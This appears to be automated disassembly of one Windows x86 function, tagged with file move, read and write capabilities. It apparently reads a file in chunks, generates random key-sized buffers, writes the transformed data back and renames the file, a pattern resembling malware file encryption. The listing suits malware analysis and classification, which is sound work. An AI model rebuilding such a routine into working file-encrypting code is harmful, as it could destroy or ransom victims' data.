Function at 0x41afa0
Capabilities:
Move file
Read file on windows
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ad977
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ecx
mov eax, 0x6455c
call fcn.0046bb80
mov eax, dword [0x4e3114]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 3
mov byte [ebp - 4], 4
push 0x4b78cc
lea eax, [ebx + 8]
push eax
lea ecx, [ebp - 0x64558]
push ecx
call fcn.00402400
add esp, 0xc
mov dword [ebp - 0x64474], eax
mov edx, dword [ebp - 0x64474]
mov dword [ebp - 0x64478], edx
mov byte [ebp - 4], 5
lea eax, [ebx + 0x38]
push eax
mov ecx, dword [ebp - 0x64478]
push ecx
lea edx, [ebp - 0x64540]
push edx
call fcn.00402380
add esp, 0xc
mov dword [ebp - 0x6447c], eax
mov eax, dword [ebp - 0x6447c]
mov dword [ebp - 0x64480], eax
mov byte [ebp - 4], 6
push 0x4b78c0
mov ecx, dword [ebp - 0x64480]
push ecx
lea edx, [ebp - 0x64528]
push edx
call fcn.004023c0
add esp, 0xc
mov dword [ebp - 0x64484], eax
mov eax, dword [ebp - 0x64484]
mov dword [ebp - 0x64488], eax
mov byte [ebp - 4], 7
lea ecx, [ebx + 0x20]
push ecx
mov edx, dword [ebp - 0x64488]
push edx
lea eax, [ebp - 0x64570]
push eax
call fcn.00402380
add esp, 0xc
mov dword [ebp - 0x6448c], eax
mov ecx, dword [ebp - 0x6448c]
mov dword [ebp - 0x64490], ecx
mov byte [ebp - 4], 8
push 0x4b78a8
mov edx, dword [ebp - 0x64490]
push edx
lea eax, [ebp - 0x640b0]
push eax
call fcn.004023c0
add esp, 0xc
mov dword [ebp - 0x644ec], eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x64570]
call fcn.0040ba40
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x64528]
call fcn.0040ba40
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x64540]
call fcn.0040ba40
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x64558]
call fcn.0040ba40
push 0x80
lea ecx, [ebp - 0x64248]
call fcn.00416410
push 0x20
push 0
lea ecx, [ebp - 0x64248]
call fcn.00408b60
mov dword [ebp - 0x644f0], eax
mov byte [ebp - 4], 0xe
push 0x20
lea ecx, [ebp - 0x7c]
push ecx
lea ecx, [ebp - 0x64248]
call fcn.00432e70
push 0x10
lea edx, [ebp - 0x2c]
push edx
lea ecx, [ebp - 0x64248]
call fcn.00432e70
push 0xc0
lea ecx, [ebp - 0x64388]
call fcn.00416410
lea ecx, [ebp - 0x64388]
call fcn.00406c90
mov dword [ebp - 0x644f4], eax
mov byte [ebp - 4], 0xf
push 0x10
lea eax, [ebp - 0x2c]
push eax
push 0x20
lea ecx, [ebp - 0x7c]
push ecx
lea ecx, [ebp - 0x64388]
call fcn.00433dc0
xorps xmm0, xmm0
movlpd qword [ebp - 0x64470], xmm0
push 0x4b78e0
lea ecx, [ebx + 8]
call fcn.00416f90
push eax
call fcn.0048d06f
add esp, 8
mov dword [ebp - 0x64440], eax
push 0
mov edx, dword [ebp - 0x6446c]
push edx
mov eax, dword [ebp - 0x64470]
push eax
mov ecx, dword [ebp - 0x64440]
push ecx
call fcn.0048ddfa
add esp, 0x10
mov edx, dword [ebp - 0x64440]
push edx
push 0x32000
push 1
lea eax, [ebp - 0x64080]
push eax
call fcn.0048d9d4
add esp, 0x10
lea ecx, [ebp - 0x64380]
mov dword [ebp - 0x644c0], ecx
push 0x32000
lea edx, [ebp - 0x64080]
push edx
lea eax, [ebp - 0x32080]
push eax
mov ecx, dword [ebp - 0x644c0]
call fcn.00438db0
push 0
mov ecx, dword [ebp - 0x6446c]
push ecx
mov edx, dword [ebp - 0x64470]
push edx
mov eax, dword [ebp - 0x64440]
push eax
call fcn.0048ddfa
add esp, 0x10
mov ecx, dword [ebp - 0x64440]
push ecx
push 0x32000
push 1
lea edx, [ebp - 0x32080]
push edx
call fcn.0048e068
add esp, 0x10
mov eax, dword [ebp - 0x64440]
push eax
call fcn.0048d2d0
add esp, 4
push 0x30
push 0
lea ecx, [ebp - 0x5c]
push ecx
call fcn.00484e30
add esp, 0xc
mov ecx, 8
lea esi, [ebp - 0x7c]
lea edi, [ebp - 0x5c]
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x30], edx
push 0x4b78e8
lea ecx, [ebp - 0x640c8]
call fcn.00408040
mov dword [ebp - 0x644f8], eax
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x64444], 0
jmp 0x41b2da
mov eax, dword [ebp - 0x64444]
add eax, 1
mov dword [ebp - 0x64444], eax
cmp dword [ebp - 0x64444], 0x30
jge 0x41b31b
mov ecx, dword [ebp - 0x64444]
mov dl, byte [ebp + ecx - 0x5c]
mov byte [ebp - 0x64439], dl
mov eax, dword [ebp - 0x64444]
push eax
lea ecx, [ebp - 0x640c8]
call fcn.0040cf10
mov dword [ebp - 0x644bc], eax
mov ecx, dword [ebp - 0x644bc]
mov dl, byte [ebp - 0x64439]
mov byte [ecx], dl
jmp 0x41b2cb
push 0x40
lea ecx, [ebp - 0x64108]
call fcn.00416410
push 1
lea ecx, [ebp - 0x64108]
call fcn.00409b90
mov dword [ebp - 0x644fc], eax
mov byte [ebp - 4], 0x11
push 0x38
lea ecx, [ebp - 0x64140]
call fcn.00416410
push 0x3c
call fcn.0046b5c6
add esp, 4
mov dword [ebp - 0x644b8], eax
mov eax, dword [ebp - 0x644b8]
mov dword [ebp - 0x64448], eax
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x64448], 0
je 0x41b3a3
push 0x3c
mov ecx, dword [ebp - 0x64448]
call fcn.00416410
push 0
mov ecx, dword [ebp - 0x64448]
call fcn.00408bd0
mov dword [ebp - 0x644b4], eax
mov ecx, dword [ebp - 0x644b4]
mov dword [ebp - 0x64454], ecx
jmp 0x41b3ad
mov dword [ebp - 0x64454], 0
mov edx, dword [ebp - 0x64454]
mov dword [ebp - 0x644b0], edx
mov byte [ebp - 4], 0x11
mov eax, dword [ebp - 0x644b0]
push eax
push 1
lea ecx, [ebx + 0x50]
push ecx
lea ecx, [ebp - 0x64140]
call fcn.00409da0
mov dword [ebp - 0x64510], eax
mov byte [ebp - 4], 0x13
lea edx, [ebp - 0x64104]
mov dword [ebp - 0x644ac], edx
lea eax, [ebp - 0x64140]
push eax
mov ecx, dword [ebp - 0x644ac]
call fcn.0045bbd0
push 0x80
lea ecx, [ebp - 0x642c8]
call fcn.00416410
push 0x20
push 0
lea ecx, [ebp - 0x642c8]
call fcn.00408b60
mov dword [ebp - 0x64500], eax
mov byte [ebp - 4], 0x14
push 0x4c
lea ecx, [ebp - 0x641c8]
call fcn.00416410
mov ecx, dword [ebp - 0x64100]
mov edx, dword [ecx + 4]
lea eax, [ebp + edx - 0x64100]
push eax
lea ecx, [ebp - 0x641c8]
call fcn.00406fc0
mov dword [ebp - 0x64504], eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x64098]
call fcn.00408120
mov byte [ebp - 4], 0x16
push 0x38
lea ecx, [ebp - 0x64178]
call fcn.00416410
push 0x4c
call fcn.0046b5c6
add esp, 4
mov dword [ebp - 0x644a8], eax
mov ecx, dword [ebp - 0x644a8]
mov dword [ebp - 0x64450], ecx
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x64450], 0
je 0x41b565
push 0x4c
mov ecx, dword [ebp - 0x64450]
call fcn.00416410
push 0x10
call fcn.0046b5c6
add esp, 4
mov dword [ebp - 0x644a4], eax
mov edx, dword [ebp - 0x644a4]
mov dword [ebp - 0x6444c], edx
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x6444c], 0
je 0x41b50b
push 0x10
mov ecx, dword [ebp - 0x6444c]
call fcn.00416410
lea eax, [ebp - 0x64098]
push eax
mov ecx, dword [ebp - 0x6444c]
call fcn.004074a0
mov dword [ebp - 0x644e8], eax
mov ecx, dword [ebp - 0x644e8]
mov dword [ebp - 0x64464], ecx
jmp 0x41b515
mov dword [ebp - 0x64464], 0
mov edx, dword [ebp - 0x64464]
mov dword [ebp - 0x644e4], edx
mov byte [ebp - 4], 0x17
mov eax, dword [ebp - 0x644e4]
mov dword [ebp - 0x644e0], eax
mov ecx, dword [ebp - 0x644e0]
push ecx
lea edx, [ebp - 0x641c8]
push edx
lea eax, [ebp - 0x642c8]
push eax
mov ecx, dword [ebp - 0x64450]
call fcn.00409a00
mov dword [ebp - 0x644c4], eax
mov ecx, dword [ebp - 0x644c4]
mov dword [ebp - 0x64458], ecx
jmp 0x41b56f
mov dword [ebp - 0x64458], 0
mov edx, dword [ebp - 0x64458]
mov dword [ebp - 0x644dc], edx
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x644dc]
push eax
push 1
lea ecx, [ebp - 0x640c8]
push ecx
lea ecx, [ebp - 0x64178]
call fcn.00409da0
mov dword [ebp - 0x64508], eax
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x640b0]
call fcn.00416f90
mov dword [ebp - 0x644d8], eax
lea ecx, [ebx + 8]
call fcn.00416f90
mov dword [ebp - 0x644d4], eax
mov edx, dword [ebp - 0x644d8]
push edx
mov eax, dword [ebp - 0x644d4]
push eax
call fcn.0048f822
add esp, 8
push 0xb0
lea ecx, [ebp - 0x64438]
call fcn.00416410
push 1
push 0x40
push 0x28
lea ecx, [ebp - 0x640b0]
call fcn.00416f90
push eax
lea ecx, [ebp - 0x64438]
call fcn.004079a0
mov dword [ebp - 0x6450c], eax
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x64438]
mov edx, dword [ecx + 4]
lea ecx, [ebp + edx - 0x64438]
call fcn.00419490
mov byte [ebp - 0x6443a], al
movzx eax, byte [ebp - 0x6443a]
test eax, eax
je 0x41b68b
lea ecx, [ebp - 0x64098]
call fcn.0041f060
xor ecx, ecx
mov dword [ebp - 0x644d0], eax
mov dword [ebp - 0x644cc], ecx
lea ecx, [ebp - 0x64098]
call fcn.00416f40
mov dword [ebp - 0x644a0], eax
mov edx, dword [ebp - 0x644cc]
push edx
mov eax, dword [ebp - 0x644d0]
push eax
mov ecx, dword [ebp - 0x644a0]
push ecx
lea ecx, [ebp - 0x64438]
call fcn.004200a0
lea ecx, [ebp - 0x64438]
call fcn.00417310
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x64438]
call fcn.0040d9d0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x64178]
call fcn.0040c490
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x64098]
call fcn.0040b9f0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x641c8]
call fcn.0040b170
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x642c8]
call fcn.0040bfa0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x64140]
call fcn.0040c490
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x64108]
call fcn.0040da90
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x640c8]
call fcn.0040b9f0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x64388]
call fcn.0040b060
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x64248]
call fcn.0040bfa0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x640b0]
call fcn.0040ba40
jmp 0x41b7e6
mov dword [ebp - 4], 3
jmp 0x41b7fb
jmp 0x41b809
jmp 0x41b815
mov byte [ebp - 4], 2
lea ecx, [ebx + 8]
call fcn.0040ba40
mov byte [ebp - 4], 1
lea ecx, [ebx + 0x20]
call fcn.0040ba40
mov byte [ebp - 4], 0
lea ecx, [ebx + 0x38]
call fcn.0040ba40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebx + 0x50]
call fcn.0040b9f0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0046bb2e
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret